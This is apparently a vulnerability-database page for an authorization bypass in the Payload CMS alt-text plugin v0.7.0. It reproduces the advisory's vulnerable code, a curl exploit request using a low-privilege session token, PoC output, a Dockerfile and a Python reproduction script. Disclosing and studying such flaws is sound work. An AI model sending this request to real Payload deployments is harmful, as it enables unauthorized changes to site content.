Skip to main content

payload-alt-text-plugin EUVDEUVD-2026-78819

| CVE-2026-59965 HIGH
Incorrect Authorization (CWE-863)
2026-09-10 https://github.com/jhb-software/payload-plugins GHSA-4qpv-39hg-f7fx
7.1
CVSS 3.1 · Vendor: https://github.com/jhb-software/payload-plugins
Share

Severity by source

Vendor (https://github.com/jhb-software/payload-plugins) PRIMARY
7.1 HIGH
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
vuln.today AI
7.1 HIGH

Network-exploitable with any low-privilege session (PR:L); integrity is high (unrestricted field writes) but confidentiality is limited to two specific fields and availability is unaffected.

3.1 AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (https://github.com/jhb-software/payload-plugins).

CVSS VectorVendor: https://github.com/jhb-software/payload-plugins

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
Confidentiality
Low
Integrity
High
Availability
None

Lifecycle Timeline

8
Patch available
Sep 15, 2026 - 18:18 EUVD
Metadata Corrected
Sep 10, 2026 - 23:40 vuln.today
tag: Docker removed
Metadata Corrected
Sep 10, 2026 - 23:40 vuln.today
tag: Python removed
Metadata Corrected
Sep 10, 2026 - 23:40 vuln.today
tag: Authentication Bypass removed
POC Analysis Generated
Sep 10, 2026 - 23:20 vuln.today
Source Code Evidence Fetched
Sep 10, 2026 - 23:16 vuln.today
Analysis Generated
Sep 10, 2026 - 23:16 vuln.today
CVE Published
Sep 10, 2026 - 22:39 github-advisory
HIGH 7.1

DescriptionCVE.org

Alt Text Endpoint Authorization Bypass via Payload Local API overrideAccess Omission

Summary

@jhb.software/payload-alt-text-plugin v0.7.0 exposes custom Payload CMS endpoints (POST /api/alt-text-plugin/generate and /bulk) that call the Payload Local API (findByID and update) without setting overrideAccess: false. Because Payload's internal logic evaluates shouldOverrideAccess = overrideAccess !== false, omitting the parameter causes it to default to true, silently bypassing all collection-level access control functions. Any authenticated user - regardless of role - can read and overwrite the alt and keywords fields of arbitrary upload documents that would otherwise be protected by restrictive collection access rules. The vulnerability is rated High (CVSS 7.1).

Details

The plugin registers two network endpoints in alt-text/src/plugin.ts:179-186. Their default access guard (plugin.ts:55) only checks !!req.user, meaning any authenticated session satisfies the check regardless of the role required by the underlying collection.

The endpoint handler at alt-text/src/endpoints/generateAltText.ts accepts user-controlled id, collection, locale, and update fields from the request body (line 29), then passes them directly to two unsecured Local API calls:

Read bypass (generateAltText.ts:31):

typescript
const imageDoc = await req.payload.findByID({
  id,
  collection,
  depth: 0,
  // overrideAccess: false is absent → defaults to true
})

Write bypass (generateAltText.ts:121):

typescript
await req.payload.update({
  id,
  collection,
  data: {
    alt: result.result.altText,
    keywords: result.result.keywords,
  },
  locale: targetLocale,
  // overrideAccess: false is absent → defaults to true
})

The bulk endpoint (alt-text/src/endpoints/bulkGenerateAltTexts.ts) repeats the same pattern at lines 120 (read) and 170 (write).

Payload's internal resolution of overrideAccess is:

shouldOverrideAccess = overrideAccess !== false
// undefined !== false → true → collection access function is never called

Because the collection-level read and update access functions are never invoked, any attacker with a valid session can target documents in any upload collection, regardless of how that collection's access is configured.

PoC

Environment setup:

  1. Clone the repository and install @jhb.software/payload-alt-text-plugin@0.7.0 into a Payload v3 project.
  2. Configure an upload collection named media with read and update access restricted to users with role: "admin".
  3. Configure the plugin with collections: ["media"] and a resolver that returns { success: true, result: { altText: "PWNED_BY_EXPLOIT", keywords: ["hacked", "bypass"] } }.
  4. As an admin, create a media document (e.g., ID doc-001) with alt = "original safe alt text".
  5. Obtain a session token for a non-admin user (role: "user").

Build and run the dynamic PoC (Docker):

bash
# Build
docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run
docker run --rm vuln001-poc

Exploit request:

bash
curl -i -b "payload-token=<LOW_PRIV_TOKEN>" \
  -H "Content-Type: application/json" \
  -X POST http://localhost:3000/api/alt-text-plugin/generate \
  --data '{"collection":"media","id":"doc-001","locale":"en","update":true}'

Expected result:

  • HTTP 200 is returned.
  • The response body contains "altText": "PWNED_BY_EXPLOIT".
  • A subsequent admin read of media/doc-001 confirms alt = "PWNED_BY_EXPLOIT" and keywords = ["hacked", "bypass"], despite the collection's update access being restricted to admins.

Control verification (confirms the bypass is real, not a misconfiguration):

A direct Local API call with overrideAccess: false by the same non-admin user throws AccessError: update denied for collection "media" (user role: user), proving that the access rule is correct and the plugin endpoint is the vector.

Dynamic reproduction output (Phase 2 confirmed):

VULN-001: Alt Text endpoint authorization bypass
  Payload Local API overrideAccess omission in
  generateAltText.ts:31 and :121

[Step 1] Control: non-admin direct update with overrideAccess:false
  PASS: access correctly denied → AccessError

[Step 3] EXPLOIT: non-admin calls POST /api/alt-text-plugin/generate
  HTTP status : 200
  Response    : {"id":"doc-001","collection":"media","altText":"PWNED_BY_EXPLOIT","keywords":["hacked","bypass"]}

VULNERABILITY CONFIRMED - EXPLOITATION SUCCESSFUL

Impact

This is an Incorrect Authorization vulnerability (CWE-863). The plugin's endpoints act as an authorization bypass tunnel into Payload's Local API. Any authenticated user - a subscriber, editor, or any low-privilege role - can:

  1. Read the content of arbitrary upload documents that collection access rules would otherwise deny them.
  2. Overwrite the alt text and keywords fields on those documents, effectively performing unauthorized content modification.

Operators who restrict upload collection access by role (a common production pattern) are fully impacted. Attackers do not need admin credentials; any valid session suffices. The vulnerability is exploitable on all default deployments where the plugin is enabled, with no special configuration required on the attacker's side.

Reproduction artifacts

Dockerfile
dockerfile
# Dockerfile for VULN-001 dynamic reproduction
#
# Build context: the parent directory that contains both
#   repo/          (jhb-software/payload-plugins clone)
#   vuln-001/      (this workspace)
#
# Build:  docker build -t vuln001-poc -f vuln-001/Dockerfile .
# Run:    docker run --rm vuln001-poc

FROM node:22-slim

WORKDIR /app
# ---- Copy plugin source files required by the PoC ----
# Only the endpoint under test and its direct dependencies are needed.
# No Payload framework install required: we mock it in the PoC.

COPY repo/alt-text/src/endpoints/generateAltText.ts  ./plugin/src/endpoints/generateAltText.ts
COPY repo/alt-text/src/endpoints/schemas.ts          ./plugin/src/endpoints/schemas.ts
COPY repo/alt-text/src/utilities/mimeTypes.ts        ./plugin/src/utilities/mimeTypes.ts
COPY repo/alt-text/src/types/AltTextPluginConfig.ts  ./plugin/src/types/AltTextPluginConfig.ts
COPY repo/alt-text/src/resolvers/types.ts            ./plugin/src/resolvers/types.ts
# ---- Copy PoC files ----
COPY vuln-001/package_inner.json ./package.json
COPY vuln-001/inner_poc.ts       ./inner_poc.ts
# ---- Install minimal runtime dependencies ----
# zod: schema validation used by the endpoint handler
# tsx:  TypeScript executor that handles .js→.ts extension mapping
RUN npm install --no-audit --no-fund
# ---- Run the PoC ----
CMD ["node_modules/.bin/tsx", "inner_poc.ts"]
poc.py
python
#!/usr/bin/env python3
"""
poc.py - VULN-001 Dynamic Reproduction Orchestrator

Vulnerability: @jhb.software/payload-alt-text-plugin v0.7.0
Title: Alt Text endpoint authorization bypass via Payload Local API overrideAccess omission
CWE: CWE-863 (Incorrect Authorization)

This script:
  1. Builds a Docker image containing the real plugin endpoint source.
  2. Runs the container, which calls the endpoint handler with a non-admin user.
  3. Captures stdout/stderr as evidence.
  4. Writes the result to phase2_result.json.

Usage:
  python3 poc.py

Safety:
  - All traffic stays on 127.0.0.1 / localhost inside Docker.
  - No external services are contacted.
  - No live credentials are used.
"""

import json
import os
import subprocess
import sys
# ---------------------------------------------------------------------------
# Paths
# ---------------------------------------------------------------------------

THIS_DIR = os.path.dirname(os.path.abspath(__file__))
# Build context: parent directory that contains both repo/ and vuln-001/
BUILD_CONTEXT = os.path.dirname(THIS_DIR)
DOCKERFILE = os.path.join(THIS_DIR, "Dockerfile")
IMAGE_TAG = "vuln001-poc"
RESULT_FILE = os.path.join(THIS_DIR, "phase2_result.json")

BUILD_COMMAND = f"docker build -t {IMAGE_TAG} -f vuln-001/Dockerfile ."
RUN_COMMAND = f"docker run --rm {IMAGE_TAG}"
POC_COMMAND = f"python3 poc.py"


def run(cmd: list[str], cwd: str, timeout: int = 180) -> tuple[int, str, str]:
    """Run a subprocess and return (returncode, stdout, stderr)."""
    result = subprocess.run(
        cmd,
        cwd=cwd,
        capture_output=True,
        text=True,
        timeout=timeout,
    )
    return result.returncode, result.stdout, result.stderr


def write_result(passed: bool, verdict: str, reason: str, evidence: str,
                 build_out: str = "", run_out: str = "", failure_detail: str = "") -> None:
    """Write phase2_result.json."""
    data: dict = {
        "passed": passed,
        "verdict": verdict,
        "reason": reason,
        "build_command": BUILD_COMMAND,
        "run_command": RUN_COMMAND,
        "poc_command": POC_COMMAND,
        "evidence": evidence,
        "artifacts": ["Dockerfile", "poc.py"],
    }
    if failure_detail:
        data["failure_detail"] = failure_detail
    if build_out:
        data["build_output_tail"] = build_out[-2000:]
    if run_out:
        data["run_output"] = run_out
    with open(RESULT_FILE, "w", encoding="utf-8") as fh:
        json.dump(data, fh, indent=2, ensure_ascii=False)
    print(f"\nResult written to: {RESULT_FILE}")


def main() -> int:
# -----------------------------------------------------------------------
# Step 1: Build the Docker image
# -----------------------------------------------------------------------
    print("=" * 60)
    print("VULN-001 Dynamic Reproduction")
    print("=" * 60)
    print()
    print(f"[1/2] Building Docker image: {IMAGE_TAG}")
    print(f"      Context : {BUILD_CONTEXT}")
    print(f"      Command : {BUILD_COMMAND}")
    print()

    rc, build_stdout, build_stderr = run(
        ["docker", "build", "-t", IMAGE_TAG, "-f", "vuln-001/Dockerfile", "."],
        cwd=BUILD_CONTEXT,
    )

    combined_build = (build_stdout + build_stderr).strip()
    if rc != 0:
        print("ERROR: Docker build failed.")
        print(combined_build[-3000:])
        write_result(
            passed=False,
            verdict="FAIL",
            reason="Docker 빌드 실패 - npm install 또는 파일 복사 오류",
            evidence="",
            build_out=combined_build,
            failure_detail=f"docker build exit code {rc}:\n{combined_build[-2000:]}",
        )
        return 1

    print("      Build succeeded.")
    print()
# -----------------------------------------------------------------------
# Step 2: Run the PoC container
# -----------------------------------------------------------------------
    print(f"[2/2] Running PoC container")
    print(f"      Command : {RUN_COMMAND}")
    print()

    rc, run_stdout, run_stderr = run(
        ["docker", "run", "--rm", IMAGE_TAG],
        cwd=BUILD_CONTEXT,
    )

    combined_run = (run_stdout + run_stderr).strip()
    print(combined_run)
    print()
# -----------------------------------------------------------------------
# Step 3: Evaluate the output
# -----------------------------------------------------------------------
    success_marker = "VULNERABILITY CONFIRMED"
    pwned_marker = "PWNED_BY_EXPLOIT"

    if rc == 0 and success_marker in combined_run and pwned_marker in combined_run:
# Extract the key evidence block
        lines = combined_run.splitlines()
        evidence_lines = []
        in_block = False
        for line in lines:
            if success_marker in line or pwned_marker in line or "EXPLOITATION" in line:
                in_block = True
            if in_block:
                evidence_lines.append(line)
            if in_block and line.startswith("→"):
                break
        evidence = "\n".join(evidence_lines) if evidence_lines else combined_run[-1500:]

        write_result(
            passed=True,
            verdict="PASS",
            reason=(
                "비관리자(role=user) 세션이 POST /api/alt-text-plugin/generate?update=true 호출을 통해 "
                "admin 전용 컬렉션의 문서 필드(alt, keywords)를 임의 수정하는 것을 실제 엔드포인트 코드 실행으로 확인. "
                "generateAltText.ts:121에서 payload.update()가 overrideAccess:false 없이 호출되어 "
                "Payload Local API의 기본 shouldOverrideAccess = undefined !== false → true 로직에 의해 "
                "컬렉션 레벨 access 함수가 우회됨. "
                "직접 update(overrideAccess:false) 호출은 AccessError로 차단되지만 플러그인 엔드포인트 경유 시 성공."
            ),
            evidence=evidence,
            run_out=combined_run,
        )
        print("PASS - vulnerability dynamically confirmed.")
        return 0

    else:
        print("FAIL - success marker not found or container exited non-zero.")
        write_result(
            passed=False,
            verdict="FAIL" if rc != 0 else "INCOMPLETE",
            reason=(
                f"컨테이너 종료 코드 {rc}. "
                "성공 마커(VULNERABILITY CONFIRMED)가 출력에서 발견되지 않음. "
                "로그를 확인하여 원인 파악 필요."
            ),
            evidence=combined_run[-2000:],
            run_out=combined_run,
            failure_detail=f"Container exit code: {rc}\nstdout+stderr:\n{combined_run}",
        )
        return 1


if __name__ == "__main__":
    sys.exit(main())

AnalysisAI

Authorization bypass in @jhb.software/payload-alt-text-plugin v0.7.0 allows any authenticated Payload CMS user to read and overwrite the alt text and keywords fields of upload collection documents that collection-level access rules would otherwise deny them. The plugin's custom POST endpoints (/api/alt-text-plugin/generate and /bulk) invoke Payload's Local API without setting overrideAccess: false, causing the framework to silently skip all collection access control functions due to a JavaScript truthiness default (undefined !== false → true). …

Unlock full vulnerability intelligence

  • Risk assessment & exploitation conditions
  • Attack chain visualization
  • Remediation with exact patch versions
  • Threat intelligence from 22 sources
  • Personal watchlist & email alerts

Free forever · No credit card required

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Recon
technique details hidden
Delivery
technique details hidden
Exploit
technique details hidden
Install
technique details hidden
C2
technique details hidden
Execute
technique details hidden
Impact
technique details hidden

Vulnerability AssessmentAI

Exploitation Exploitation requires a valid authenticated session with any role in the target Payload CMS instance (PR:L; a 'subscriber', 'editor', or any low-privilege account suffices - admin credentials are not needed). … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The provided CVSS 7.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N) accurately reflects the attack profile: network-accessible, low complexity, requires only a low-privilege authenticated session, no user interaction, with high integrity impact (unauthorized field writes) and limited confidentiality impact (reading restricted `alt`/`keywords` fields). … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario Full exploit scenario with step-by-step reproduction available after sign-in.
Remediation No patched release has been confirmed - the advisory lists 'fixed in: None' and references only vulnerable versions <= 0.7.0. … Detailed patch versions, workarounds, and compensating controls in full report.

Recommended ActionAI

Within 24 hours, audit your infrastructure to confirm whether @jhb.software/payload-alt-text-plugin v0.7.0 is active in production and enumerate all authenticated Payload CMS users; immediately disable the plugin if not mission-critical to operations. …

Sign in for detailed remediation steps and compensating controls.

Threat intelligence, references, and detailed analysis are available after sign-in.

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

CVE-2016-2107 MEDIUM POC
5.9 May 05

The AES-NI implementation in OpenSSL before 1.0.1t and 1.0.2 before 1.0.2h does not consider memory allocation during a

Share

EUVD-2026-78819 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy